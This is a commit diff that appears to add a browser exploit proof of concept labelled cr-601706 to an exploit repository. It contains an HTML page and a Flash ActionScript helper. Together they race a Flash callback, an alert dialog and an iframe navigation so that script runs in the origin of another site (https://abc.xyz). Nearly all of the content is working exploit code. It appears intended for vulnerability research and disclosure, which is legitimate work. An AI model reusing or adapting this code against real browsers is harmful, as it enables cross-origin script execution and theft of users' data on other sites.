Skip to content

Commit a714a22

Browse files
committed
feat(chrome): add cr-601706
1 parent fea0416 commit a714a22

File tree

3 files changed

+46
-0
lines changed

3 files changed

+46
-0
lines changed

chrome/cr-601706/exploit.html

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
<script>
2+
if (location.protocol == 'file:' || !navigator.plugins.namedItem('Shockwave Flash')) {
3+
throw alert('HTTP server and Flash are required.');
4+
}
5+
6+
var flip = 0;
7+
var sl = 0;
8+
var fl = 0;
9+
function f() {
10+
sl = 1;
11+
if (flip) {
12+
flip = 0;
13+
var a = i.contentDocument.createElement('a');
14+
a.href = 'https://abc.xyz';
15+
a.click();
16+
}
17+
}
18+
19+
function go() {
20+
if (sl && fl) {
21+
clearInterval(x);
22+
i = document.createElement('iframe');
23+
i.onload = function() {
24+
i.onload = null;
25+
flip = 1;
26+
alert('This is an ordinary alert dialog, nothing to be concerned about.');
27+
}
28+
i.src = 'javascript:alert(location)';
29+
document.documentElement.appendChild(i);
30+
}
31+
}
32+
33+
var x = setInterval(go, 1);
34+
</script>
35+
<iframe src="https://abc.xyz" onload="fl=1"></iframe>
36+
<object data="s.swf"></object>

chrome/cr-601706/s.as

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
package {
2+
import flash.display.*;
3+
import flash.external.*;
4+
import flash.utils.*;
5+
public class s extends Sprite {
6+
public function s():void {
7+
setInterval(ExternalInterface.call, 1, 'f');
8+
}
9+
}
10+
}

chrome/cr-601706/s.swf

618 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)